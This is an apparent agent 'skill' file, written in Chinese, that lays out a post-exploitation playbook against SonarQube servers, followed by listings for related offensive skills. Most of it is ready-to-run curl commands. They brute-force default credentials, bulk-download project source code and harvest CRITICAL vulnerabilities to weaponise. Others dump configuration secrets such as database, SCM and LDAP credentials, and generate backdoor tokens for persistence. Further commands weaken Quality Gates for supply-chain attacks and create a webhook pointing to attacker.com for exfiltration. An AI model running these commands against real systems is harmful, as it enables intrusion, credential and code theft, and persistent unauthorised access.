skills/postexploit/product/sonarqube-tactics/SKILL.md
SonarQube 代码审计平台攻击。当发现目标运行 SonarQube 实例(默认 9000 端口)、默认凭据 admin/admin 未修改、或需要从 SonarQube 窃取项目源代码和漏洞信息时使用。覆盖默认凭据攻击、项目源代码窃取、漏洞/Issue 枚举(CRITICAL 优先)、用户凭据与 Token 窃取、Quality Gate 绕过、配置文件提取(数据库/SCM 凭据)、Webhook 滥用、插件分析、热点与度量数据导出
npx skillsauth add wgpsec/AboutSecurity sonarqube-tacticsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
SonarQube 是 DevSecOps 体系中的核心代码质量平台,默认监听 9000 端口,出厂凭据 admin/admin 常被忽略。一旦被攻破,攻击者可直接获取全部项目源代码、已知漏洞清单和内部凭据——相当于拿到整个研发体系的安全蓝图。
# SonarQube 默认端口探测
nmap -sV -p 9000 TARGET
# HTTP 标题探测
nmap -p 9000 --script http-title TARGET
# 获取 SonarQube 版本(无需认证)
curl -s http://TARGET:9000/api/server/version
# 系统状态(无需认证)
curl -s http://TARGET:9000/api/system/status | jq .
关键判断:
9.9.0.12345) → 实例存活,进入 Phase 2/api/server/version 路径# 出厂默认: admin/admin
curl -s -u admin:admin "http://TARGET:9000/api/authentication/validate" | jq .
# 返回 {"valid":true} 即登录成功
# 常见弱凭据
for creds in "admin:admin" "admin:sonarqube" "admin:password" "admin:admin123"; do
echo "Testing $creds"
result=$(curl -s -u "$creds" "http://TARGET:9000/api/authentication/validate")
echo "$creds -> $result"
done
# SonarQube Token 作为用户名,密码留空
curl -s -u "squ_xxxxxxxxxxxx:" "http://TARGET:9000/api/authentication/validate"
关键判断:
{"valid":true} → 凭据有效,进入 Phase 3 决策树{"valid":false} → 凭据无效,尝试其他弱口令组合凭据有效?
├─ 管理员权限 → 全攻击面
│ ├─ 项目源代码窃取 (Phase 4)
│ ├─ 漏洞信息武器化 (Phase 5)
│ ├─ 用户枚举 + Token 窃取 → 横向移动
│ ├─ Quality Gate 绕过 → 供应链攻击
│ ├─ 配置提取 → 数据库/SCM 凭据
│ ├─ Webhook 创建 → 数据外泄通道
│ └─ 插件分析 → LDAP/SAML 凭据
├─ 普通用户权限
│ ├─ 可见项目源代码窃取 (Phase 4)
│ ├─ 可见项目漏洞枚举 (Phase 5)
│ └─ 个人 Token 生成 → 持久化访问
└─ 无认证(公共实例 / Force Authentication = false)
├─ 公开项目源代码窃取 (Phase 4)
└─ 公开项目漏洞枚举 (Phase 5)
前置信息收集:
# 确认当前用户权限
curl -s -u admin:admin "http://TARGET:9000/api/users/current" | jq .
# 检查是否需要认证(sonar.forceAuthentication)
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication" \
-u admin:admin | jq .
# 列出所有项目(评估攻击面规模)
curl -s -u admin:admin \
"http://TARGET:9000/api/projects/search?ps=500" | jq '.paging.total'
# 列出所有项目 key
curl -s -u admin:admin \
"http://TARGET:9000/api/projects/search?ps=500" | \
jq -r '.components[].key'
# 获取项目文件树
curl -s -u admin:admin \
"http://TARGET:9000/api/components/tree?component=PROJECT_KEY&ps=500&qualifiers=FIL" | \
jq -r '.components[].key'
# 按文件下载源码
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/App.java" \
-o App.java
# 带行号的源码查看
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/lines?key=PROJECT_KEY:pom.xml&from=1&to=500" | \
jq -r '.sources[].line + ": " + .sources[].code'
# 枚举所有文件并逐一下载
PROJECT="PROJECT_KEY"
for file in $(curl -s -u admin:admin \
"http://TARGET:9000/api/components/tree?component=$PROJECT&ps=500&qualifiers=FIL" | \
jq -r '.components[].key'); do
mkdir -p "$(dirname "/tmp/sonar-dump/$file")"
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/raw?key=$file" \
-o "/tmp/sonar-dump/$file"
done
→ 更多源代码窃取技巧 → 读 references/attack-techniques.md
# 所有 CRITICAL 级别漏洞(直接可利用)
curl -s -u admin:admin \
"http://TARGET:9000/api/issues/search?types=VULNERABILITY&severities=CRITICAL&ps=500" | \
jq '.issues[] | {rule: .rule, message: .message, component: .component, line: .line}'
# 搜索含敏感关键词的 Issue
curl -s -u admin:admin \
"http://TARGET:9000/api/issues/search?ps=500" | \
jq '.issues[] | select(.message | test("password|secret|token|credential|hardcoded"; "i"))'
# Security Hotspots(需人工审查的安全点)
curl -s -u admin:admin \
"http://TARGET:9000/api/hotspots/search?projectKey=PROJECT_KEY&ps=500" | \
jq '.hotspots[] | {key: .key, message: .message, component: .component, vulnerabilityProbability: .vulnerabilityProbability}'
# 项目安全度量
curl -s -u admin:admin \
"http://TARGET:9000/api/measures/component?component=PROJECT_KEY&metricKeys=bugs,vulnerabilities,code_smells,security_hotspots,coverage" | \
jq '.component.measures[]'
→ 完整漏洞枚举与武器化方法 → 读 references/attack-techniques.md
# 枚举所有用户
curl -s -u admin:admin \
"http://TARGET:9000/api/users/search?ps=500" | \
jq '.users[] | {login: .login, name: .name, email: .email, groups: .groups}'
# 查看用户 Token(需管理员)
curl -s -u admin:admin \
"http://TARGET:9000/api/user_tokens/search?login=USERNAME" | \
jq '.userTokens[]'
# 为目标用户生成新 Token(持久化后门)
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/user_tokens/generate" \
-d "name=backup-token&login=USERNAME" | jq .
# 导出全局配置(含数据库/SCM 凭据)
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values" | \
jq '.settings[] | select(.key | test("password|token|secret|jdbc|scm|ldap|smtp"; "i"))'
# 数据库连接信息
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values?keys=sonar.jdbc.url,sonar.jdbc.username" | jq .
# ALM(代码托管平台)集成配置
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values" | \
jq '.settings[] | select(.key | test("github|gitlab|bitbucket|azure"; "i"))'
# 列出所有 Quality Gate
curl -s -u admin:admin \
"http://TARGET:9000/api/qualitygates/list" | jq '.qualitygates[]'
# 创建宽松 Quality Gate(供应链攻击)
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/qualitygates/create" -d "name=Permissive"
# 将项目关联到宽松 Gate
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/qualitygates/select" \
-d "gateId=GATE_ID&projectKey=PROJECT_KEY"
# 创建 Webhook(数据外泄通道)
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/webhooks/create" \
-d "name=notify&url=https://attacker.com/hook&project=PROJECT_KEY"
# 列出已有 Webhook
curl -s -u admin:admin \
"http://TARGET:9000/api/webhooks/list?project=PROJECT_KEY" | jq '.webhooks[]'
→ 读 references/attack-techniques.md 获取插件分析与批量导出技术
| 工具 | 用途 | |------|------| | curl + jq | SonarQube REST API 交互的核心组合 | | nmap | 端口发现与服务版本探测 | | sonarqube-scanner | 官方扫描器,可用于理解项目分析流程 | | hydra | Web 表单凭据爆破 | | nuclei | SonarQube 默认凭据与已知漏洞模板扫描 |
ps 参数最大 500,超过需用 p 参数翻页遍历/api/sources/raw 按文件返回源码,大项目需脚本批量下载*****,需结合其他手段获取/api/ce/activity 查看,注意清理或控制操作频率testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能